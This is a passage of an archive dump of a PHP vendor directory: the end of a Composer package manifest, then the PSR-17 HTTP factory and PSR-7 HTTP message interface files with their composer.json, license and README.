XOAUTH2 authentication", "ext-mbstring": "Needed to send email in multibyte encoding charset or decode encoded addresses", "ext-openssl": "Needed for secure SMTP sending and DKIM signing", "greew/oauth2-azure-provider": "Needed for Microsoft Azure XOAUTH2 authentication", "hayageek/oauth2-yahoo": "Needed for Yahoo XOAUTH2 authentication", "league/oauth2-google": "Needed for Google XOAUTH2 authentication", "psr/log": "For optional PSR-3 debug logging", "symfony/polyfill-mbstring": "To support UTF-8 if the Mbstring PHP extension is not enabled (^1.2)", "thenetworg/oauth2-azure": "Needed for Microsoft XOAUTH2 authentication" }, "time": "2023-11-25T22:23:28+00:00", "type": "library", "installation-source": "dist", "autoload": { "psr-4": { "PHPMailer\\PHPMailer\\": "src/" } }, "notification-url": "https://packagist.org/downloads/", "license": [ "LGPL-2.1-only" ], "authors": [ { "name": "Marcus Bointon", "email": "phpmailer@synchromedia.co.uk" }, { "name": "Jim Jagielski", "email": "jimjag@gmail.com" }, { "name": "Andy Prevost", "email": "codeworxtech@users.sourceforge.net" }, { "name": "Brent R. Matzelle" } ], "description": "PHPMailer is a full-featured email creation and transfer class for PHP", "support": { "issues": "https://github.com/PHPMailer/PHPMailer/issues", "source": "https://github.com/PHPMailer/PHPMailer/tree/v6.9.1" }, "funding": [ { "url": "https://github.com/Synchro", "type": "github" } ], "install-path": "../phpmailer/phpmailer" }, { "name": "phpoffice/phpspreadsheet", "version": "2.1.0", "version_normalized": "2.1.0.0", "source": { "type": "git", "url": "https://github.com/PHPOffice/PhpSpreadsheet.git", "reference": "dbed77bd3a0f68f96c0dd68ad4499d5674fecc3e" }, "dist": { "type": "zip", "url": "https://api.github.com/repos/PHPOffice/PhpSpreadsheet/zipball/dbed77bd3a0f68f96c0dd68ad4499d5674fecc3e", "reference": "dbed77bd3a0f68f96c0dd68ad4499d5674fecc3e", "shasum": "" }, "require": { "ext-ctype": "*", "ext-dom": "*", "ext-fileinfo": "*", "ext-gd": "*", "ext-iconv": "*", "ext-libxml": "*", "ext-mbstring": "*", "ext-simplexml": "*", "ext-xml": "*", "ext-xmlreader": "*", "ext-xmlwriter": "*", "ext-zip": "*", "ext-zlib": "*", "maennchen/zipstream-php": "^2.1 || ^3.0", "markbaker/complex": "^3.0", "markbaker/matrix": "^3.0", "php": "^8.0", "psr/http-client": "^1.0", "psr/http-factory": "^1.0", "psr/simple-cache": "^1.0 || ^2.0 || ^3.0" }, "require-dev": { "dealerdirect/phpcodesniffer-composer-installer": "dev-main", "dompdf/dompdf": "^2.0", "friendsofphp/php-cs-fixer": "^3.2", "mitoteam/jpgraph": "^10.3", "mpdf/mpdf": "^8.1.1", "phpcompatibility/php-compatibility": "^9.3", "phpstan/phpstan": "^1.1", "phpstan/phpstan-phpunit": "^1.0", "phpunit/phpunit": "^9.6", "squizlabs/php_codesniffer": "^3.7", "tecnickcom/tcpdf": "^6.5" }, "suggest": { "dompdf/dompdf": "Option for rendering PDF with PDF Writer", "ext-intl": "PHP Internationalization Functions", "mitoteam/jpgraph": "Option for rendering charts, or including charts with PDF or HTML Writers", "mpdf/mpdf": "Option for rendering PDF with PDF Writer", "tecnickcom/tcpdf": "Option for rendering PDF with PDF Writer" }, "time": "2024-05-11T04:17:56+00:00", "type": "library", "installation-source": "dist", "autoload": { "psr-4": { "PhpOffice\\PhpSpreadsheet\\": "src/PhpSpreadsheet" } }, "notification-url": "https://packagist.org/downloads/", "license": [ "MIT" ], "authors": [ { "name": "Maarten Balliauw", "homepage": "https://blog.maartenballiauw.be" }, { "name": "Mark Baker", "homepage": "https://markbakeruk.net" }, { "name": "Franck Lefevre", "homepage": "https://rootslabs.net" }, { "name": "Erik Tilt" }, { "name": "Adrien Crivelli" } ], "description": "PHPSpreadsheet - Read, Create and Write Spreadsheet documents in PHP - Spreadsheet engine", "homepage": "https://github.com/PHPOffice/PhpSpreadsheet", "keywords": [ "OpenXML", "excel", "gnumeric", "ods", "php", "spreadsheet", "xls", "xlsx" ], "support": { "issues": "https://github.com/PHPOffice/PhpSpreadsheet/issues", "source": "https://github.com/PHPOffice/PhpSpreadsheet/tree/2.1.0" }, "install-path": "../phpoffice/phpspreadsheet" }, { "name": "phpoption/phpoption", "version": "1.9.2", "version_normalized": "1.9.2.0", "source": { "type": "git", "url": "https://github.com/schmittjoh/php-option.git", "reference": "80735db690fe4fc5c76dfa7f9b770634285fa820" }, "dist": { "type": "zip", "url": "https://api.github.com/repos/schmittjoh/php-option/zipball/80735db690fe4fc5c76dfa7f9b770634285fa820", "reference": "80735db690fe4fc5c76dfa7f9b770634285fa820", "shasum": "" }, "require": { "php": "^7.2.5 || ^8.0" }, "require-dev": { "bamarni/composer-bin-plugin": "^1.8.2", "phpunit/phpunit": "^8.5.34 || ^9.6.13 || ^10.4.2" }, "time": "2023-11-12T21:59:55+00:00", "type": "library", "extra": { "bamarni-bin": { "bin-links": true, "forward-command": true }, "branch-alias": { "dev-master": "1.9-dev" } }, "installation-source": "dist", "autoload": { "psr-4": { "PhpOption\\": "src/PhpOption/" } }, "notification-url": "https://packagist.org/downloads/", "license": [ "Apache-2.0" ], "authors": [ { "name": "Johannes M. Schmitt", "email": "schmittjoh@gmail.com", "homepage": "https://github.com/schmittjoh" }, { "name": "Graham Campbell", "email": "hello@gjcampbell.co.uk", "homepage": "https://github.com/GrahamCampbell" } ], "description": "Option Type for PHP", "keywords": [ "language", "option", "php", "type" ], "support": { "issues": "https://github.com/schmittjoh/php-option/issues", "source": "https://github.com/schmittjoh/php-option/tree/1.9.2" }, "funding": [ { "url": "https://github.com/GrahamCampbell", "type": "github" }, { "url": "https://tidelift.com/funding/github/packagist/phpoption/phpoption", "type": "tidelift" } ], "install-path": "../phpoption/phpoption" }, { "name": "psr/http-client", "version": "1.0.3", "version_normalized": "1.0.3.0", "source": { "type": "git", "url": "https://github.com/php-fig/http-client.git", "reference": "bb5906edc1c324c9a05aa0873d40117941e5fa90" }, "dist": { "type": "zip", "url": "https://api.github.com/repos/php-fig/http-client/zipball/bb5906edc1c324c9a05aa0873d40117941e5fa90", "reference": "bb5906edc1c324c9a05aa0873d40117941e5fa90", "shasum": "" }, "require": { "php": "^7.0 || ^8.0", "psr/http-message": "^1.0 || ^2.0" }, "time": "2023-09-23T14:17:50+00:00", "type": "library", "extra": { "branch-alias": { "dev-master": "1.0.x-dev" } }, "installation-source": "dist", "autoload": { "psr-4": { "Psr\\Http\\Client\\": "src/" } }, "notification-url": "https://packagist.org/downloads/", "license": [ "MIT" ], "authors": [ { "name": "PHP-FIG", "homepage": "https://www.php-fig.org/" } ], "description": "Common interface for HTTP clients", "homepage": "https://github.com/php-fig/http-client", "keywords": [ "http", "http-client", "psr", "psr-18" ], "support": { "source": "https://github.com/php-fig/http-client" }, "install-path": "../psr/http-client" }, { "name": "psr/http-factory", "version": "1.1.0", "version_normalized": "1.1.0.0", "source": { "type": "git", "url": "https://github.com/php-fig/http-factory.git", "reference": "2b4765fddfe3b508ac62f829e852b1501d3f6e8a" }, "dist": { "type": "zip", "url": "https://api.github.com/repos/php-fig/http-factory/zipball/2b4765fddfe3b508ac62f829e852b1501d3f6e8a", "reference": "2b4765fddfe3b508ac62f829e852b1501d3f6e8a", "shasum": "" }, "require": { "php": ">=7.1", "psr/http-message": "^1.0 || ^2.0" }, "time": "2024-04-15T12:06:14+00:00", "type": "library", "extra": { "branch-alias": { "dev-master": "1.0.x-dev" } }, "installation-source": "dist", "autoload": { "psr-4": { "Psr\\Http\\Message\\": "src/" } }, "notification-url": "https://packagist.org/downloads/", "license": [ "MIT" ], "authors": [ { "name": "PHP-FIG", "homepage": "https://www.php-fig.org/" } ], "description": "PSR-17: Common interfaces for PSR-7 HTTP message factories", "keywords": [ "factory", "http", "message", "psr", "psr-17", "psr-7", "request", "response" ], "support": { "source": "https://github.com/php-fig/http-factory" }, "install-path": "../psr/http-factory" }, { "name": "psr/http-message", "version": "2.0", "version_normalized": "2.0.0.0", "source": { "type": "git", "url": "https://github.com/php-fig/http-message.git", "reference": "402d35bcb92c70c026d1a6a9883f06b2ead23d71" }, "dist": { "type": "zip", "url": "https://api.github.com/repos/php-fig/http-message/zipball/402d35bcb92c70c026d1a6a9883f06b2ead23d71", "reference": "402d35bcb92c70c026d1a6a9883f06b2ead23d71", "shasum": "" }, "require": { "php": "^7.2 || ^8.0" }, "time": "2023-04-04T09:54:51+00:00", "type": "library", "extra": { "branch-alias": { "dev-master": "2.0.x-dev" } }, "installation-source": "dist", "autoload": { "psr-4": { "Psr\\Http\\Message\\": "src/" } }, "notification-url": "https://packagist.org/downloads/", "license": [ "MIT" ], "authors": [ { "name": "PHP-FIG", "homepage": "https://www.php-fig.org/" } ], "description": "Common interface for HTTP messages", "homepage": "https://github.com/php-fig/http-message", "keywords": [ "http", "http-message", "psr", "psr-7", "request", "response" ], "support": { "source": "https://github.com/php-fig/http-message/tree/2.0" }, "install-path": "../psr/http-message" }, { "name": "psr/simple-cache", "version": "3.0.0", "version_normalized": "3.0.0.0", "source": { "type": "git", "url": "https://github.com/php-fig/simple-cache.git", "reference": "764e0b3939f5ca87cb904f570ef9be2d78a07865" }, "dist": { "type": "zip", "url": "https://api.github.com/repos/php-fig/simple-cache/zipball/764e0b3939f5ca87cb904f570ef9be2d78a07865", "reference": "764e0b3939f5ca87cb904f570ef9be2d78a07865", "shasum": "" }, "require": { "php": ">=8.0.0" }, "time": "2021-10-29T13:26:27+00:00", "type": "library", "extra": { "branch-alias": { "dev-master": "3.0.x-dev" } }, "installation-source": "dist", "autoload": { "psr-4": { "Psr\\SimpleCache\\": "src/" } }, "notification-url": "https://packagist.org/downloads/", "license": [ "MIT" ], "authors": [ { "name": "PHP-FIG", "homepage": "https://www.php-fig.org/" } ], "description": "Common interfaces for simple caching", "keywords": [ "cache", "caching", "psr", "psr-16", "simple-cache" ], "support": { "source": "https://github.com/php-fig/simple-cache/tree/3.0.0" }, "install-path": "../psr/simple-cache" }, { "name": "symfony/polyfill-ctype", "version": "v1.30.0", "version_normalized": "1.30.0.0", "source": { "type": "git", "url": "https://github.com/symfony/polyfill-ctype.git", "reference": "0424dff1c58f028c451efff2045f5d92410bd540" }, "dist": { "type": "zip", "url": "https://api.github.com/repos/symfony/polyfill-ctype/zipball/0424dff1c58f028c451efff2045f5d92410bd540", "reference": "0424dff1c58f028c451efff2045f5d92410bd540", "shasum": "" }, "require": { "php": ">=7.1" }, "provide": { "ext-ctype": "*" }, "suggest": { "ext-ctype": "For best performance" }, "time": "2024-05-31T15:07:36+00:00", "type": "library", "extra": { "thanks": { "name": "symfony/polyfill", "url": "https://github.com/symfony/polyfill" } }, "installation-source": "dist", "autoload": { "files": [ "bootstrap.php" ], "psr-4": { "Symfony\\Polyfill\\Ctype\\": "" } }, "notification-url": "https://packagist.org/downloads/", "license": [ "MIT" ], "authors": [ { "name": "Gert de Pagter", "email": "BackEndTea@gmail.com" }, { "name": "Symfony Community", "homepage": "https://symfony.com/contributors" } ], "description": "Symfony polyfill for ctype functions", "homepage": "https://symfony.com", "keywords": [ "compatibility", "ctype", "polyfill", "portable" ], "support": { "source": "https://github.com/symfony/polyfill-ctype/tree/v1.30.0" }, "funding": [ { "url": "https://symfony.com/sponsor", "type": "custom" }, { "url": "https://github.com/fabpot", "type": "github" }, { "url": "https://tidelift.com/funding/github/packagist/symfony/symfony", "type": "tidelift" } ], "install-path": "../symfony/polyfill-ctype" }, { "name": "symfony/polyfill-mbstring", "version": "v1.30.0", "version_normalized": "1.30.0.0", "source": { "type": "git", "url": "https://github.com/symfony/polyfill-mbstring.git", "reference": "fd22ab50000ef01661e2a31d850ebaa297f8e03c" }, "dist": { "type": "zip", "url": "https://api.github.com/repos/symfony/polyfill-mbstring/zipball/fd22ab50000ef01661e2a31d850ebaa297f8e03c", "reference": "fd22ab50000ef01661e2a31d850ebaa297f8e03c", "shasum": "" }, "require": { "php": ">=7.1" }, "provide": { "ext-mbstring": "*" }, "suggest": { "ext-mbstring": "For best performance" }, "time": "2024-06-19T12:30:46+00:00", "type": "library", "extra": { "thanks": { "name": "symfony/polyfill", "url": "https://github.com/symfony/polyfill" } }, "installation-source": "dist", "autoload": { "files": [ "bootstrap.php" ], "psr-4": { "Symfony\\Polyfill\\Mbstring\\": "" } }, "notification-url": "https://packagist.org/downloads/", "license": [ "MIT" ], "authors": [ { "name": "Nicolas Grekas", "email": "p@tchwork.com" }, { "name": "Symfony Community", "homepage": "https://symfony.com/contributors" } ], "description": "Symfony polyfill for the Mbstring extension", "homepage": "https://symfony.com", "keywords": [ "compatibility", "mbstring", "polyfill", "portable", "shim" ], "support": { "source": "https://github.com/symfony/polyfill-mbstring/tree/v1.30.0" }, "funding": [ { "url": "https://symfony.com/sponsor", "type": "custom" }, { "url": "https://github.com/fabpot", "type": "github" }, { "url": "https://tidelift.com/funding/github/packagist/symfony/symfony", "type": "tidelift" } ], "install-path": "../symfony/polyfill-mbstring" }, { "name": "symfony/polyfill-php80", "version": "v1.30.0", "version_normalized": "1.30.0.0", "source": { "type": "git", "url": "https://github.com/symfony/polyfill-php80.git", "reference": "77fa7995ac1b21ab60769b7323d600a991a90433" }, "dist": { "type": "zip", "url": "https://api.github.com/repos/symfony/polyfill-php80/zipball/77fa7995ac1b21ab60769b7323d600a991a90433", "reference": "77fa7995ac1b21ab60769b7323d600a991a90433", "shasum": "" }, "require": { "php": ">=7.1" }, "time": "2024-05-31T15:07:36+00:00", "type": "library", "extra": { "thanks": { "name": "symfony/polyfill", "url": "https://github.com/symfony/polyfill" } }, "installation-source": "dist", "autoload": { "files": [ "bootstrap.php" ], "psr-4": { "Symfony\\Polyfill\\Php80\\": "" }, "classmap": [ "Resources/stubs" ] }, "notification-url": "https://packagist.org/downloads/", "license": [ "MIT" ], "authors": [ { "name": "Ion Bazan", "email": "ion.bazan@gmail.com" }, { "name": "Nicolas Grekas", "email": "p@tchwork.com" }, { "name": "Symfony Community", "homepage": "https://symfony.com/contributors" } ], "description": "Symfony polyfill backporting some PHP 8.0+ features to lower PHP versions", "homepage": "https://symfony.com", "keywords": [ "compatibility", "polyfill", "portable", "shim" ], "support": { "source": "https://github.com/symfony/polyfill-php80/tree/v1.30.0" }, "funding": [ { "url": "https://symfony.com/sponsor", "type": "custom" }, { "url": "https://github.com/fabpot", "type": "github" }, { "url": "https://tidelift.com/funding/github/packagist/symfony/symfony", "type": "tidelift" } ], "install-path": "../symfony/polyfill-php80" }, { "name": "vlucas/phpdotenv", "version": "v5.6.0", "version_normalized": "5.6.0.0", "source": { "type": "git", "url": "https://github.com/vlucas/phpdotenv.git", "reference": "2cf9fb6054c2bb1d59d1f3817706ecdb9d2934c4" }, "dist": { "type": "zip", "url": "https://api.github.com/repos/vlucas/phpdotenv/zipball/2cf9fb6054c2bb1d59d1f3817706ecdb9d2934c4", "reference": "2cf9fb6054c2bb1d59d1f3817706ecdb9d2934c4", "shasum": "" }, "require": { "ext-pcre": "*", "graham-campbell/result-type": "^1.1.2", "php": "^7.2.5 || ^8.0", "phpoption/phpoption": "^1.9.2", "symfony/polyfill-ctype": "^1.24", "symfony/polyfill-mbstring": "^1.24", "symfony/polyfill-php80": "^1.24" }, "require-dev": { "bamarni/composer-bin-plugin": "^1.8.2", "ext-filter": "*", "phpunit/phpunit": "^8.5.34 || ^9.6.13 || ^10.4.2" }, "suggest": { "ext-filter": "Required to use the boolean validator." }, "time": "2023-11-12T22:43:29+00:00", "type": "library", "extra": { "bamarni-bin": { "bin-links": true, "forward-command": true }, "branch-alias": { "dev-master": "5.6-dev" } }, "installation-source": "dist", "autoload": { "psr-4": { "Dotenv\\": "src/" } }, "notification-url": "https://packagist.org/downloads/", "license": [ "BSD-3-Clause" ], "authors": [ { "name": "Graham Campbell", "email": "hello@gjcampbell.co.uk", "homepage": "https://github.com/GrahamCampbell" }, { "name": "Vance Lucas", "email": "vance@vancelucas.com", "homepage": "https://github.com/vlucas" } ], "description": "Loads environment variables from `.env` to `getenv()`, `$_ENV` and `$_SERVER` automagically.", "keywords": [ "dotenv", "env", "environment" ], "support": { "issues": "https://github.com/vlucas/phpdotenv/issues", "source": "https://github.com/vlucas/phpdotenv/tree/v5.6.0" }, "funding": [ { "url": "https://github.com/GrahamCampbell", "type": "github" }, { "url": "https://tidelift.com/funding/github/packagist/vlucas/phpdotenv", "type": "tidelift" } ], "install-path": "../vlucas/phpdotenv" } ], "dev": true, "dev-package-names": [] } psr/http-factory/src/UploadedFileFactoryInterface.php000064400000002150151676714400017013 0ustar00<?php namespace Psr\Http\Message; interface UploadedFileFactoryInterface { /** * Create a new uploaded file. * * If a size is not provided it will be determined by checking the size of * the file. * * @see http://php.net/manual/features.file-upload.post-method.php * @see http://php.net/manual/features.file-upload.errors.php * * @param StreamInterface $stream Underlying stream representing the * uploaded file content. * @param int|null $size in bytes * @param int $error PHP file upload error * @param string|null $clientFilename Filename as provided by the client, if any. * @param string|null $clientMediaType Media type as provided by the client, if any. * * @return UploadedFileInterface * * @throws \InvalidArgumentException If the file resource is not readable. */ public function createUploadedFile( StreamInterface $stream, ?int $size = null, int $error = \UPLOAD_ERR_OK, ?string $clientFilename = null, ?string $clientMediaType = null ): UploadedFileInterface; } psr/http-factory/src/RequestFactoryInterface.php000064400000000763151676714400016116 0ustar00<?php namespace Psr\Http\Message; interface RequestFactoryInterface { /** * Create a new request. * * @param string $method The HTTP method associated with the request. * @param UriInterface|string $uri The URI associated with the request. If * the value is a string, the factory MUST create a UriInterface * instance based on it. * * @return RequestInterface */ public function createRequest(string $method, $uri): RequestInterface; } psr/http-factory/src/ResponseFactoryInterface.php000064400000001042151676714400016253 0ustar00<?php namespace Psr\Http\Message; interface ResponseFactoryInterface { /** * Create a new response. * * @param int $code HTTP status code; defaults to 200 * @param string $reasonPhrase Reason phrase to associate with status code * in generated response; if none is provided implementations MAY use * the defaults as suggested in the HTTP specification. * * @return ResponseInterface */ public function createResponse(int $code = 200, string $reasonPhrase = ''): ResponseInterface; } psr/http-factory/src/ServerRequestFactoryInterface.php000064400000001637151676714400017306 0ustar00<?php namespace Psr\Http\Message; interface ServerRequestFactoryInterface { /** * Create a new server request. * * Note that server-params are taken precisely as given - no parsing/processing * of the given values is performed, and, in particular, no attempt is made to * determine the HTTP method or URI, which must be provided explicitly. * * @param string $method The HTTP method associated with the request. * @param UriInterface|string $uri The URI associated with the request. If * the value is a string, the factory MUST create a UriInterface * instance based on it. * @param array $serverParams Array of SAPI parameters with which to seed * the generated request instance. * * @return ServerRequestInterface */ public function createServerRequest(string $method, $uri, array $serverParams = []): ServerRequestInterface; } psr/http-factory/src/UriFactoryInterface.php000064400000000505151676714400015217 0ustar00<?php namespace Psr\Http\Message; interface UriFactoryInterface { /** * Create a new URI. * * @param string $uri * * @return UriInterface * * @throws \InvalidArgumentException If the given URI cannot be parsed. */ public function createUri(string $uri = ''): UriInterface; } psr/http-factory/src/StreamFactoryInterface.php000064400000002612151676714400015714 0ustar00<?php namespace Psr\Http\Message; interface StreamFactoryInterface { /** * Create a new stream from a string. * * The stream SHOULD be created with a temporary resource. * * @param string $content String content with which to populate the stream. * * @return StreamInterface */ public function createStream(string $content = ''): StreamInterface; /** * Create a stream from an existing file. * * The file MUST be opened using the given mode, which may be any mode * supported by the `fopen` function. * * The `$filename` MAY be any string supported by `fopen()`. * * @param string $filename Filename or stream URI to use as basis of stream. * @param string $mode Mode with which to open the underlying filename/stream. * * @return StreamInterface * @throws \RuntimeException If the file cannot be opened. * @throws \InvalidArgumentException If the mode is invalid. */ public function createStreamFromFile(string $filename, string $mode = 'r'): StreamInterface; /** * Create a new stream from an existing resource. * * The stream MUST be readable and may be writable. * * @param resource $resource PHP resource to use as basis of stream. * * @return StreamInterface */ public function createStreamFromResource($resource): StreamInterface; } psr/http-factory/composer.json000064400000001437151676714400012536 0ustar00{ "name": "psr/http-factory", "description": "PSR-17: Common interfaces for PSR-7 HTTP message factories", "keywords": [ "psr", "psr-7", "psr-17", "http", "factory", "message", "request", "response" ], "license": "MIT", "authors": [ { "name": "PHP-FIG", "homepage": "https://www.php-fig.org/" } ], "support": { "source": "https://github.com/php-fig/http-factory" }, "require": { "php": ">=7.1", "psr/http-message": "^1.0 || ^2.0" }, "autoload": { "psr-4": { "Psr\\Http\\Message\\": "src/" } }, "extra": { "branch-alias": { "dev-master": "1.0.x-dev" } } } psr/http-factory/LICENSE000064400000002050151676714400011011 0ustar00MIT License Copyright (c) 2018 PHP-FIG Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal in the Software without restriction, including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of the Software, and to permit persons to whom the Software is furnished to do so, subject to the following conditions: The above copyright notice and this permission notice shall be included in all copies or substantial portions of the Software. THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE. psr/http-factory/README.md000064400000001054151676714400011266 0ustar00HTTP Factories ============== This repository holds all interfaces related to [PSR-17 (HTTP Factories)][psr-url]. Note that this is not a HTTP Factory implementation of its own. It is merely interfaces that describe the components of a HTTP Factory. The installable [package][package-url] and [implementations][implementation-url] are listed on Packagist. [psr-url]: https://www.php-fig.org/psr/psr-17/ [package-url]: https://packagist.org/packages/psr/http-factory [implementation-url]: https://packagist.org/providers/psr/http-factory-implementation psr/http-message/src/UploadedFileInterface.php000064400000011214151676714400015441 0ustar00<?php namespace Psr\Http\Message; /** * Value object representing a file uploaded through an HTTP request. * * Instances of this interface are considered immutable; all methods that * might change state MUST be implemented such that they retain the internal * state of the current instance and return an instance that contains the * changed state. */ interface UploadedFileInterface { /** * Retrieve a stream representing the uploaded file. * * This method MUST return a StreamInterface instance, representing the * uploaded file. The purpose of this method is to allow utilizing native PHP * stream functionality to manipulate the file upload, such as * stream_copy_to_stream() (though the result will need to be decorated in a * native PHP stream wrapper to work with such functions). * * If the moveTo() method has been called previously, this method MUST raise * an exception. * * @return StreamInterface Stream representation of the uploaded file. * @throws \RuntimeException in cases when no stream is available or can be * created. */ public function getStream(): StreamInterface; /** * Move the uploaded file to a new location. * * Use this method as an alternative to move_uploaded_file(). This method is * guaranteed to work in both SAPI and non-SAPI environments. * Implementations must determine which environment they are in, and use the * appropriate method (move_uploaded_file(), rename(), or a stream * operation) to perform the operation. * * $targetPath may be an absolute path, or a relative path. If it is a * relative path, resolution should be the same as used by PHP's rename() * function. * * The original file or stream MUST be removed on completion. * * If this method is called more than once, any subsequent calls MUST raise * an exception. * * When used in an SAPI environment where $_FILES is populated, when writing * files via moveTo(), is_uploaded_file() and move_uploaded_file() SHOULD be * used to ensure permissions and upload status are verified correctly. * * If you wish to move to a stream, use getStream(), as SAPI operations * cannot guarantee writing to stream destinations. * * @see http://php.net/is_uploaded_file * @see http://php.net/move_uploaded_file * @param string $targetPath Path to which to move the uploaded file. * @throws \InvalidArgumentException if the $targetPath specified is invalid. * @throws \RuntimeException on any error during the move operation, or on * the second or subsequent call to the method. */ public function moveTo(string $targetPath): void; /** * Retrieve the file size. * * Implementations SHOULD return the value stored in the "size" key of * the file in the $_FILES array if available, as PHP calculates this based * on the actual size transmitted. * * @return int|null The file size in bytes or null if unknown. */ public function getSize(): ?int; /** * Retrieve the error associated with the uploaded file. * * The return value MUST be one of PHP's UPLOAD_ERR_XXX constants. * * If the file was uploaded successfully, this method MUST return * UPLOAD_ERR_OK. * * Implementations SHOULD return the value stored in the "error" key of * the file in the $_FILES array. * * @see http://php.net/manual/en/features.file-upload.errors.php * @return int One of PHP's UPLOAD_ERR_XXX constants. */ public function getError(): int; /** * Retrieve the filename sent by the client. * * Do not trust the value returned by this method. A client could send * a malicious filename with the intention to corrupt or hack your * application. * * Implementations SHOULD return the value stored in the "name" key of * the file in the $_FILES array. * * @return string|null The filename sent by the client or null if none * was provided. */ public function getClientFilename(): ?string; /** * Retrieve the media type sent by the client. * * Do not trust the value returned by this method. A client could send * a malicious media type with the intention to corrupt or hack your * application. * * Implementations SHOULD return the value stored in the "type" key of * the file in the $_FILES array. * * @return string|null The media type sent by the client or null if none * was provided. */ public function getClientMediaType(): ?string; } psr/http-message/src/StreamInterface.php000064400000011374151676714400014346 0ustar00<?php namespace Psr\Http\Message; /** * Describes a data stream. * * Typically, an instance will wrap a PHP stream; this interface provides * a wrapper around the most common operations, including serialization of * the entire stream to a string. */ interface StreamInterface { /** * Reads all data from the stream into a string, from the beginning to end. * * This method MUST attempt to seek to the beginning of the stream before * reading data and read the stream until the end is reached. * * Warning: This could attempt to load a large amount of data into memory. * * This method MUST NOT raise an exception in order to conform with PHP's * string casting operations. * * @see http://php.net/manual/en/language.oop5.magic.php#object.tostring * @return string */ public function __toString(): string; /** * Closes the stream and any underlying resources. * * @return void */ public function close(): void; /** * Separates any underlying resources from the stream. * * After the stream has been detached, the stream is in an unusable state. * * @return resource|null Underlying PHP stream, if any */ public function detach(); /** * Get the size of the stream if known. * * @return int|null Returns the size in bytes if known, or null if unknown. */ public function getSize(): ?int; /** * Returns the current position of the file read/write pointer * * @return int Position of the file pointer * @throws \RuntimeException on error. */ public function tell(): int; /** * Returns true if the stream is at the end of the stream. * * @return bool */ public function eof(): bool; /** * Returns whether or not the stream is seekable. * * @return bool */ public function isSeekable(): bool; /** * Seek to a position in the stream. * * @link http://www.php.net/manual/en/function.fseek.php * @param int $offset Stream offset * @param int $whence Specifies how the cursor position will be calculated * based on the seek offset. Valid values are identical to the built-in * PHP $whence values for `fseek()`. SEEK_SET: Set position equal to * offset bytes SEEK_CUR: Set position to current location plus offset * SEEK_END: Set position to end-of-stream plus offset. * @throws \RuntimeException on failure. */ public function seek(int $offset, int $whence = SEEK_SET): void; /** * Seek to the beginning of the stream. * * If the stream is not seekable, this method will raise an exception; * otherwise, it will perform a seek(0). * * @see seek() * @link http://www.php.net/manual/en/function.fseek.php * @throws \RuntimeException on failure. */ public function rewind(): void; /** * Returns whether or not the stream is writable. * * @return bool */ public function isWritable(): bool; /** * Write data to the stream. * * @param string $string The string that is to be written. * @return int Returns the number of bytes written to the stream. * @throws \RuntimeException on failure. */ public function write(string $string): int; /** * Returns whether or not the stream is readable. * * @return bool */ public function isReadable(): bool; /** * Read data from the stream. * * @param int $length Read up to $length bytes from the object and return * them. Fewer than $length bytes may be returned if underlying stream * call returns fewer bytes. * @return string Returns the data read from the stream, or an empty string * if no bytes are available. * @throws \RuntimeException if an error occurs. */ public function read(int $length): string; /** * Returns the remaining contents in a string * * @return string * @throws \RuntimeException if unable to read or an error occurs while * reading. */ public function getContents(): string; /** * Get stream metadata as an associative array or retrieve a specific key. * * The keys returned are identical to the keys returned from PHP's * stream_get_meta_data() function. * * @link http://php.net/manual/en/function.stream-get-meta-data.php * @param string|null $key Specific metadata to retrieve. * @return array|mixed|null Returns an associative array if no key is * provided. Returns a specific key value if a key is provided and the * value is found, or null if the key is not found. */ public function getMetadata(?string $key = null); } psr/http-message/src/ServerRequestInterface.php000064400000024072151676714400015731 0ustar00<?php namespace Psr\Http\Message; /** * Representation of an incoming, server-side HTTP request. * * Per the HTTP specification, this interface includes properties for * each of the following: * * - Protocol version * - HTTP method * - URI * - Headers * - Message body * * Additionally, it encapsulates all data as it has arrived to the * application from the CGI and/or PHP environment, including: * * - The values represented in $_SERVER. * - Any cookies provided (generally via $_COOKIE) * - Query string arguments (generally via $_GET, or as parsed via parse_str()) * - Upload files, if any (as represented by $_FILES) * - Deserialized body parameters (generally from $_POST) * * $_SERVER values MUST be treated as immutable, as they represent application * state at the time of request; as such, no methods are provided to allow * modification of those values. The other values provide such methods, as they * can be restored from $_SERVER or the request body, and may need treatment * during the application (e.g., body parameters may be deserialized based on * content type). * * Additionally, this interface recognizes the utility of introspecting a * request to derive and match additional parameters (e.g., via URI path * matching, decrypting cookie values, deserializing non-form-encoded body * content, matching authorization headers to users, etc). These parameters * are stored in an "attributes" property. * * Requests are considered immutable; all methods that might change state MUST * be implemented such that they retain the internal state of the current * message and return an instance that contains the changed state. */ interface ServerRequestInterface extends RequestInterface { /** * Retrieve server parameters. * * Retrieves data related to the incoming request environment, * typically derived from PHP's $_SERVER superglobal. The data IS NOT * REQUIRED to originate from $_SERVER. * * @return array */ public function getServerParams(): array; /** * Retrieve cookies. * * Retrieves cookies sent by the client to the server. * * The data MUST be compatible with the structure of the $_COOKIE * superglobal. * * @return array */ public function getCookieParams(): array; /** * Return an instance with the specified cookies. * * The data IS NOT REQUIRED to come from the $_COOKIE superglobal, but MUST * be compatible with the structure of $_COOKIE. Typically, this data will * be injected at instantiation. * * This method MUST NOT update the related Cookie header of the request * instance, nor related values in the server params. * * This method MUST be implemented in such a way as to retain the * immutability of the message, and MUST return an instance that has the * updated cookie values. * * @param array $cookies Array of key/value pairs representing cookies. * @return static */ public function withCookieParams(array $cookies): ServerRequestInterface; /** * Retrieve query string arguments. * * Retrieves the deserialized query string arguments, if any. * * Note: the query params might not be in sync with the URI or server * params. If you need to ensure you are only getting the original * values, you may need to parse the query string from `getUri()->getQuery()` * or from the `QUERY_STRING` server param. * * @return array */ public function getQueryParams(): array; /** * Return an instance with the specified query string arguments. * * These values SHOULD remain immutable over the course of the incoming * request. They MAY be injected during instantiation, such as from PHP's * $_GET superglobal, or MAY be derived from some other value such as the * URI. In cases where the arguments are parsed 